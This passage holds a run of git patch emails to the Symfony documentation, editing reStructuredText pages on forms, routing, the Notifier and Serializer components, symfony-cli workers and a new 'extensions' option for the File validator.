-    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
-
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.

From 0ad2d2ff87caea085a2753803cce0979bd54f7ba Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Jun 2022 11:42:09 +0200
Subject: [PATCH 3842/7107] [Form] fix EntityType with multiple=true return
 type

---
 reference/forms/types/entity.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index ec3dbc2eb70..0f97fc42d92 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -236,7 +236,16 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
 
-.. include:: /reference/forms/types/options/multiple.rst.inc
+``multiple``
+~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If true, the user will be able to select multiple options (as opposed
+to choosing just one option). Depending on the value of the ``expanded``
+option, this will render either a select tag or checkboxes if true and
+a select tag or radio buttons if false. The returned value will be a
+Doctrine's Array Collection.
 
 .. note::
 

From f8a517915d65738797afd11b7e600b4acde57d6e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:37:12 +0200
Subject: [PATCH 3843/7107] Minor tweak

---
 reference/forms/types/entity.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 0f97fc42d92..721a503aae2 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -241,10 +241,10 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 **type**: ``boolean`` **default**: ``false``
 
-If true, the user will be able to select multiple options (as opposed
+If ``true``, the user will be able to select multiple options (as opposed
 to choosing just one option). Depending on the value of the ``expanded``
-option, this will render either a select tag or checkboxes if true and
-a select tag or radio buttons if false. The returned value will be a
+option, this will render either a select tag or checkboxes if ``true`` and
+a select tag or radio buttons if ``false``. The returned value will be a
 Doctrine's Array Collection.
 
 .. note::

From 2db0c5937f335eebbac5de013ca22a6b004ff429 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:56:10 +0200
Subject: [PATCH 3844/7107] Minor tweak

---
 translation/message_format.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index fd817a94d9d..ceaf26dafbe 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -203,8 +203,9 @@ you to use literal text in the select statements:
                 'organizer_name' => 'Ryan',
                 'organizer_gender' => 'male',
             ],
-            // Appends the required suffix "+intl-icu" to the domain
-            'messages'.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX
+            // if you prefer, the required "+intl-icu" suffix is also defined as a constant:
+            // Symfony\Component\Translation\MessageCatalogueInterface::INTL_DOMAIN_SUFFIX
+            'messages+intl-icu'
         );
 
 .. _component-translation-pluralization:

From c4ee64a5fa0ced5f3e63e36b4ec975f2db2f0961 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 19:26:17 +0200
Subject: [PATCH 3845/7107] Remove an unneeded import

---
 translation/message_format.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index ceaf26dafbe..1f99d1a2fdb 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -187,8 +187,6 @@ you to use literal text in the select statements:
     It's possible to translate ICU MessageFormat messages directly in code,
     without having to define them in any file::
 
-        use Symfony\Component\Translation\MessageCatalogueInterface;
-
         $invitation = '{organizer_gender, select,
             female   {{organizer_name} has invited you to her party!}
             male     {{organizer_name} has invited you to his party!}

From b3709ad0137e16c4a10a82a2f3d57e28c750a060 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Thu, 27 Oct 2022 00:26:30 +0200
Subject: [PATCH 3846/7107] Fix syntax for loading PSR-4 routes from PHP files

---
 routing/custom_route_loader.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 5aa90a8712d..2b506aba40e 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -65,7 +65,7 @@ Symfony provides several route loaders for the most common needs:
 
             <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root -->
             <import type="attribute">
-                <resource path="../src/Controller/" namespace="App\Controller" />
+                <resource path="../src/Controller/" namespace="App\Controller"/>
             </import>
 
             <!-- loads routes from the PHP attributes of the controllers found in that directory -->
@@ -92,7 +92,10 @@ Symfony provides several route loaders for the most common needs:
 
             // loads routes from the PHP attributes (#[Route(...)])
             // of the controllers found in the given PSR-4 namespace root
-            $routes->import('../src/Controller/', 'attribute@App\Controller');
+            $routes->import(
+                ['path' => '../src/Controller/', 'namespace' => 'App\Controller'],
+                'attribute',
+            );
 
             // loads routes from the PHP attributes (#[Route(...)])
             // of the controllers found in that directory

From a0bd7b33fb4161cc1ec7d1afd091fde763ed8fc0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 27 Oct 2022 08:20:54 +0200
Subject: [PATCH 3847/7107] Use correct code-block

---
 reference/forms/types/choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 7b003585d12..0eb6df330b7 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -332,7 +332,7 @@ choice is selected or not. If you need to get the full list of choices data and
 values, use the ``choices`` variable from the parent form of the choice entry
 (which is the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
 
-.. code-block:: html+twig
+.. code-block:: twig
 
     {# `true` or `false`, whether the current choice is selected as radio or checkbox #}
     {{ form.vars.data }}

From bdb73993dc8563b31edf1bf6259e25f9b96008c4 Mon Sep 17 00:00:00 2001
From: Pierre Bobiet <neghmurken@users.noreply.github.com>
Date: Thu, 20 Oct 2022 14:41:56 +0200
Subject: [PATCH 3848/7107] [Doctrine/Events] Fix bad argument name in example

The ContainerConfigurator variable name used in method argument did not match the name used in the method body
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4832abf72ae..89cfb269447 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -227,7 +227,7 @@ with the ``doctrine.event_listener`` tag:
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
             // listeners are applied by default to all Doctrine connections

From 98270d12a343af129f9595d3589be0d928f798f1 Mon Sep 17 00:00:00 2001
From: Smaine Milianni <smaine.milianni@gmail.com>
Date: Fri, 6 Aug 2021 17:39:51 +0100
Subject: [PATCH 3849/7107] init doc

---
 notifier/events.rst | 74 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)
 create mode 100644 notifier/events.rst

diff --git a/notifier/events.rst b/notifier/events.rst
new file mode 100644
index 00000000000..aef7c848cec
--- /dev/null
+++ b/notifier/events.rst
@@ -0,0 +1,74 @@
+.. index::
+    single: Notifier; Events
+
+Using Events
+============
+
+The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
+into the lifecycle via events.
+
+The ``MessageEvent::class`` Event
+---------------------------------
+
+**Typical Purposes**: Doing something before the message is send (like logging
+which message is going to be send, or displaying something about the event
+to be executed.
+
+Just before send the message, the event class ``MessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\MessageEvent;
+
+    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // log something
+        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
+    });
+
+The ``FailedMessageEvent`` Event
+--------------------------------
+
+**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
+
+Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
+dispatched. A listener can do anything useful before the exception is thrown.
+
+Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\FailedMessageEvent;
+
+    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // gets the error instance
+        $error = $event->getError();
+
+        // log something
+        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
+    });
+
+
+The ``SentMessageEvent`` Event
+------------------------------
+
+**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
+when the message is sent).
+
+After the message has been successfully sent, the event class ``SentMessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\SentMessageEvent;
+
+    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getOriginalMessage();
+
+        // log something
+        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
+    });

From c3d877a76cbc223439993ee51ddd5f2cd07c7014 Mon Sep 17 00:00:00 2001
From: Alexander Schwenn <alexander.schwenn@gmail.com>
Date: Mon, 31 Oct 2022 17:54:57 +0100
Subject: [PATCH 3850/7107] Add paragraph about symfony-cli workers

---
 setup/symfony_server.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 9dbda5f31de..e06d6315aaf 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -277,6 +277,31 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
+Configuring Workers
+-------------------
+
+If you like processes to start automatically, along with the webserver
+(``symfony server:start``), you can add a configuration file to your project:
+
+.. code-block:: yaml
+
+    # .symfony.local.yaml
+    workers:
+        # pre-defined command to build and watch front-end assets
+        # yarn_encore_watch:
+        #     cmd: ['yarn', 'encore', 'dev', '--watch']
+        yarn_encore_watch: ~
+
+        # pre-defined command to start messenger consumer
+        # messenger_consume_async:
+        #     cmd: ['symfony', 'console', 'messenger:consume', 'async']
+        #     watch: ['config', 'src', 'templates', 'vendor']
+        messenger_consume_async: ~
+
+        # additional commands
+        spa:
+            cmd: ['yarn', '--cwd', './spa/', 'dev']
+
 Docker Integration
 ------------------
 

From 4ea004e152ad957773c93e00d2a7bff3281c4bdf Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Sun, 30 Oct 2022 01:55:53 +0200
Subject: [PATCH 3851/7107] [Form] Reorder and remove duplicate methods
 explanation for form type

---
 form/create_custom_field_type.rst | 27 +++++++++++----------------
 1 file changed, 11 insertions(+), 16 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index dbca331e050..2998a763445 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -119,13 +119,6 @@ These are the most important methods that a form type class can define:
 
 .. _form-type-methods-explanation:
 
-``getParent()``
-    When returning a (fully-qualified) class name here, Symfony will call each
-    method of that type (i.e. ``buildForm()``, ``buildView()``, etc.) and all its
-    type extensions, before calling the corresponding method of your custom type.
-    This is probably a good idea if you're just changing some details of an
-    existing type. To start from scratch, omit ``getParent()``.
-
 ``buildForm()``
     It adds and configures other types into this type. It's the same method used
     when :ref:`creating Symfony form classes <creating-forms-in-classes>`.
@@ -133,25 +126,27 @@ These are the most important methods that a form type class can define:
 ``buildView()``
     It sets any extra variables you'll need when rendering the field in a template.
 
-``configureOptions()``
-    It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()``
-    methods. Options are inherited from parent types and parent type
-    extensions, but you can create any custom option you need.
-
 ``finishView()``
     This method allows to modify the "view" of any rendered widget. This is useful
     if your form type consists of many fields, or contains a type that produces
     many HTML elements (e.g. ``ChoiceType``). For any other use case, it's
     recommended to use ``buildView()`` instead.
 
+``configureOptions()``
+    It defines the options configurable when using the form type, which are also
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
+
 ``getParent()``
     If your custom type is based on another type (i.e. they share some
-    functionality) add this method to return the fully-qualified class name
+    functionality), add this method to return the fully-qualified class name
     of that original type. Do not use PHP inheritance for this.
     Symfony will call all the form type methods (``buildForm()``,
-    ``buildView()``, etc.) of the parent type and it will call all its type
-    extensions before calling the ones defined in your custom type.
+    ``buildView()``, etc.) and type extensions of the parent before
+    calling the ones defined in your custom type.
+
+    Otherwise, if your custom type is build from scratch, you can omit ``getParent()``.
 
     By default, the ``AbstractType`` class returns the generic
     :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`

From 375c089cb35398b18863e5f1c4cf9f91c5cd9c22 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tobias=20B=C3=B6nner?= <boenner@users.noreply.github.com>
Date: Mon, 24 Oct 2022 20:39:15 +0200
Subject: [PATCH 3852/7107] Documentation for the SerializedPath definition

This fixes #17389.
---
 serializer.rst | 81 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 81 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index d041af7faa1..fa3a30796cb 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -368,6 +368,87 @@ stored in one of the following locations:
 
 .. _serializer-enabling-metadata-cache:
 
+Using nested attributes
+-----------------------
+
+To map nested properties, a ``SerializedPath`` can be defined with annotations, 
+attributes and YAML or XML configurations:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\SerializedPath;
+
+        class Person
+        {
+            /**
+             * @SerializedPath("[profile][information][birthday]")
+             */
+            private string $birthday;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\SerializedPath;
+
+        class Person
+        {
+            #[SerializedPath('[profile][information][birthday]')]
+            private string $birthday;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                dob:
+                    serialized_path: '[profile][information][birthday]'
+        
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+            </class>
+        </serializer>
+
+.. versionadded:: 6.2
+
+    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
+
+Using the configuration from above, denormalizing with a metadata-aware 
+normalizer will write the ``birthday`` field from ``$data`` onto the ``Person`` 
+object::
+
+    $data = [
+        'profile' => [
+            'information' => [
+                'birthday' => '01-01-1970',
+            ],
+        ],
+    ];
+    $person = $normalizer->denormalize($data, Person::class, 'any'); 
+    $person->getBirthday(); // 01-01-1970
+
+When using annotations or attributes, the ``SerializedPath`` can either 
+be set on the property or the associated getter. The ``SerializedPath`` 
+cannot be used in combination with a ``SerializedName`` for the same propety. 
+The given path must be a string that can be parsed as a ``PropertyPath``.
+
 Configuring the Metadata Cache
 ------------------------------
 

From 993f9781e8a8e8e3c2ae35d0f6c4038498cb2aa4 Mon Sep 17 00:00:00 2001
From: Niels Keurentjes <niels.keurentjes@omines.com>
Date: Mon, 31 Oct 2022 20:05:03 +0100
Subject: [PATCH 3853/7107] Events are dispatched, not thrown

---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 0bdb8c24b2f..06d2cea6a25 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -509,7 +509,7 @@ Handling Exceptions: the ``kernel.exception`` Event
 :ref:`Kernel Events Information Table <component-http-kernel-event-table>`
 
 If an exception is thrown at any point inside ``HttpKernel::handle()``, another
-event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()``
+event - ``kernel.exception`` is dispatched. Internally, the body of the ``handle()``
 method is wrapped in a try-catch block. When any exception is thrown, the
 ``kernel.exception`` event is dispatched so that your system can somehow respond
 to the exception.

From aeb04ecfd6fe17583ae6313a153dbd6824423127 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 18 Oct 2022 16:50:36 +0200
Subject: [PATCH 3854/7107] [Form] Adding Stimulus code

---
 form/form_collections.rst | 50 ++++++++++++++++++++++++++++++++++++++-
 1 file changed, 49 insertions(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 6df22f20068..03858d21e15 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -238,7 +238,11 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
 The ``allow_add`` option also makes a ``prototype`` variable available to you.
 This "prototype" is a little "template" that contains all the HTML needed to
-dynamically create any new "tag" forms with JavaScript. To render the prototype, add
+dynamically create any new "tag" forms with JavaScript.
+
+Let's start with plain JavaScript (Vanilla JS) – if you're using Stimulus, see below.
+
+To render the prototype, add
 the following ``data-prototype`` attribute to the existing ``<ul>`` in your
 template:
 
@@ -334,6 +338,49 @@ into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` obje
 
     You can find a working example in this `JSFiddle`_.
 
+JavaScript with Stimulus
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using `Stimulus`_, wrap everything in a ``<div>``:
+
+.. code-block:: html+twig
+
+    <div {{ stimulus_controller('form-collection') }}
+        data-form-collection-index-value="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}"
+        data-form-collection-prototype-value="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"
+    >
+        <ul {{ stimulus_target('form-collection', 'collectionContainer') }}></ul>
+        <button type="button" {{ stimulus_action('form-collection', 'addCollectionElement') }}>Add a tag</button>
+    </div>
+
+Then create the controller:
+
+.. code-block:: javascript
+
+    // assets/controllers/form-collection_controller.js
+    
+    import { Controller } from '@hotwired/stimulus';
+
+    export default class extends Controller {
+        static targets = ["collectionContainer"]
+
+        static values = {
+            index    : Number,
+            prototype: String,
+        }
+
+        addCollectionElement(event)
+        {
+            const item = document.createElement('li');
+            item.innerHTML = this.prototypeValue.replace(/__name__/g, this.indexValue);
+            this.collectionContainerTarget.appendChild(item);
+            this.indexValue++;           
+        }
+    }
+
+Handling the new Tags in PHP
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 To make handling these new tags easier, add an "adder" and a "remover" method
 for the tags in the ``Task`` class::
 
@@ -662,3 +709,4 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`Stimulus`: https://symfony.com/doc/current/frontend/encore/simple-example.html#stimulus-symfony-ux

From 739daaf8f3ef5952b2b305010797b5b772cab148 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Nov 2022 15:25:01 +0100
Subject: [PATCH 3855/7107] Tweaks

---
 serializer.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index fa3a30796cb..6d05eca240a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -368,11 +368,11 @@ stored in one of the following locations:
 
 .. _serializer-enabling-metadata-cache:
 
-Using nested attributes
+Using Nested Attributes
 -----------------------
 
-To map nested properties, a ``SerializedPath`` can be defined with annotations, 
-attributes and YAML or XML configurations:
+To map nested properties, use the ``SerializedPath`` configuration to define
+their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
 
 .. configuration-block::
 
@@ -445,9 +445,8 @@ object::
     $person->getBirthday(); // 01-01-1970
 
 When using annotations or attributes, the ``SerializedPath`` can either 
-be set on the property or the associated getter. The ``SerializedPath`` 
-cannot be used in combination with a ``SerializedName`` for the same propety. 
-The given path must be a string that can be parsed as a ``PropertyPath``.
+be set on the property or the associated _getter_ method. The ``SerializedPath``
+cannot be used in combination with a ``SerializedName`` for the same property.
 
 Configuring the Metadata Cache
 ------------------------------

From 4e11720f5697cc85b6d3c8a79c06f827f7a14144 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Nov 2022 16:04:42 +0100
Subject: [PATCH 3856/7107] Tweaks

---
 setup/symfony_server.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index e06d6315aaf..8cc8d4dfd75 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -280,26 +280,26 @@ server provides a ``run`` command to wrap them as follows:
 Configuring Workers
 -------------------
 
-If you like processes to start automatically, along with the webserver
-(``symfony server:start``), you can add a configuration file to your project:
+If you like some processes to start automatically, along with the webserver
+(``symfony server:start``), add a configuration file to your project:
 
 .. code-block:: yaml
 
     # .symfony.local.yaml
     workers:
-        # pre-defined command to build and watch front-end assets
+        # built-in command that builds and watches front-end assets
         # yarn_encore_watch:
         #     cmd: ['yarn', 'encore', 'dev', '--watch']
         yarn_encore_watch: ~
 
-        # pre-defined command to start messenger consumer
+        # built-in command that starts messenger consumer
         # messenger_consume_async:
         #     cmd: ['symfony', 'console', 'messenger:consume', 'async']
         #     watch: ['config', 'src', 'templates', 'vendor']
         messenger_consume_async: ~
 
-        # additional commands
-        spa:
+        # you can also add your own custom commands
+        build_spa:
             cmd: ['yarn', '--cwd', './spa/', 'dev']
 
 Docker Integration

From 4272159b6acc5ae59cea3ad819fb49867d54e74f Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 7 Nov 2022 05:30:20 +0100
Subject: [PATCH 3857/7107] Remove Magali from CARE

---
 contributing/code_of_conduct/care_team.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index fb2c60faebd..f7f565a266f 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -37,12 +37,6 @@ of them at once by emailing ** care@symfony.com **.
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
   * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
 
-* **Magali Milbergue**
-
-  * *E-mail*: magali.milbergue [at] gmail.com
-  * *Twitter*: `@magalimilbergue <https://twitter.com/magalimilbergue>`_
-  * *SymfonyConnect*: `magali_milbergue <https://connect.symfony.com/profile/magali_milbergue>`_
-
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com

From 0df7bb1132e444660179776c94495d2c7d945720 Mon Sep 17 00:00:00 2001
From: Yannick Ihmels <yannick@ihmels.org>
Date: Tue, 8 Nov 2022 22:15:12 +0100
Subject: [PATCH 3858/7107] Document `save_options` of `XmlEncoder`
 (symfony#48164)

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 490397b2f06..6476d5a1870 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1093,7 +1093,7 @@ always as a collection.
     changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
     key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
     directly to the ``$context`` argument of the ``encode()`` method::
-    
+
         $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 
 The ``XmlEncoder`` Context Options
@@ -1124,6 +1124,7 @@ Option                          Description
 ``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
                                 to be ignored while encoding
 ``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
+``save_options``                XML saving `options with libxml`_                  ``0``
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
 ==============================  =================================================  ==========================

From 64cabf4993c00a581564ffee36ab616788922dbd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Sat, 5 Nov 2022 13:26:21 +0100
Subject: [PATCH 3859/7107] [Validator] File: add option to check extension

---
 reference/constraints/File.rst | 82 +++++++++++++++++++++++++++-------
 1 file changed, 66 insertions(+), 16 deletions(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 523b5e89dde..a7556eca41f 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -67,8 +67,8 @@ below a certain file size and a valid PDF, add the following:
         {
             #[Assert\File(
                 maxSize: '1024k',
-                mimeTypes: ['application/pdf', 'application/x-pdf'],
-                mimeTypesMessage: 'Please upload a valid PDF',
+                extensions: ['pdf'],
+                extensionsMessage: 'Please upload a valid PDF',
             )]
             protected $bioFile;
         }
@@ -81,8 +81,8 @@ below a certain file size and a valid PDF, add the following:
                 bioFile:
                     - File:
                         maxSize: 1024k
-                        mimeTypes: [application/pdf, application/x-pdf]
-                        mimeTypesMessage: Please upload a valid PDF
+                        extensions: [pdf]
+                        extensionsMessage: Please upload a valid PDF
 
     .. code-block:: xml
 
@@ -96,11 +96,10 @@ below a certain file size and a valid PDF, add the following:
                 <property name="bioFile">
                     <constraint name="File">
                         <option name="maxSize">1024k</option>
-                        <option name="mimeTypes">
-                            <value>application/pdf</value>
-                            <value>application/x-pdf</value>
+                        <option name="extensions">
+                            <value>pdf</value>
                         </option>
-                        <option name="mimeTypesMessage">Please upload a valid PDF</option>
+                        <option name="extensionsMessage">Please upload a valid PDF</option>
                     </constraint>
                 </property>
             </class>
@@ -120,11 +119,10 @@ below a certain file size and a valid PDF, add the following:
             {
                 $metadata->addPropertyConstraint('bioFile', new Assert\File([
                     'maxSize' => '1024k',
-                    'mimeTypes' => [
-                        'application/pdf',
-                        'application/x-pdf',
+                    'extensions' => [
+                        'pdf',
                     ],
-                    'mimeTypesMessage' => 'Please upload a valid PDF',
+                    'extensionsMessage' => 'Please upload a valid PDF',
                 ]));
             }
         }
@@ -151,6 +149,36 @@ the value defined in the ``maxSize`` option.
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
+``extensions``
+~~~~~~~~~~~~~~
+
+**type**: ``array`` or ``string``
+
+.. versionadded:: 6.2
+
+    The ``extensions`` option was introduced in Symfony 6.2.
+
+If set, the validator will check that the extension and the media type
+(formerly known as MIME type) of the underlying file are equal to the given
+extension and associated media type (if a string) or exist in the collection
+(if an array).
+
+By default, all media types associated with an extension are allowed.
+The list of supported extensions and associated media types can be found on
+the `IANA website`_.
+
+It's also possible to explicitly configure the authorized media types for
+an extension.
+
+In the following example, allowed media types are explicitly set for the ``xml``
+and ``txt`` extensions, and all associated media types are allowed for ``jpg``::
+
+    [
+        'xml' => ['text/xml', 'application/xml'],
+        'txt' => 'text/plain',
+        'jpg',
+    ]
+
 ``disallowEmptyMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -216,9 +244,17 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-If set, the validator will check that the mime type of the underlying file
-is equal to the given mime type (if a string) or exists in the collection
-of given mime types (if an array).
+.. seelalso::
+
+    You should always use the ``extensions`` option instead of ``mimeTypes``
+    except if you explicitly don't want to check that the extension of the file
+    is consistent with its content (this can be a security issue).
+
+    By default, the ``extensions`` option also checks the media type of the file.
+
+If set, the validator will check that the media type (formerly known as MIME
+type) of the underlying file is equal to the given mime type (if a string) or
+exists in the collection of given mime types (if an array).
 
 You can find a list of existing mime types on the `IANA website`_.
 
@@ -232,12 +268,26 @@ You can find a list of existing mime types on the `IANA website`_.
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
     the form builder) and when the field doesn't define its own ``accept`` value.
 
+``extensionsMessage``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The extension of the file is invalid ({{ extension }}). Allowed extensions are {{ extensions }}.``
+
+.. versionadded:: 6.2
+
+    The ``extensionsMessage`` option was introduced in Symfony 6.3.
+
+The message displayed if the extension of the file is not a valid extension
+per the `extensions`_ option.
+
+.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
-The message displayed if the mime type of the file is not a valid mime type
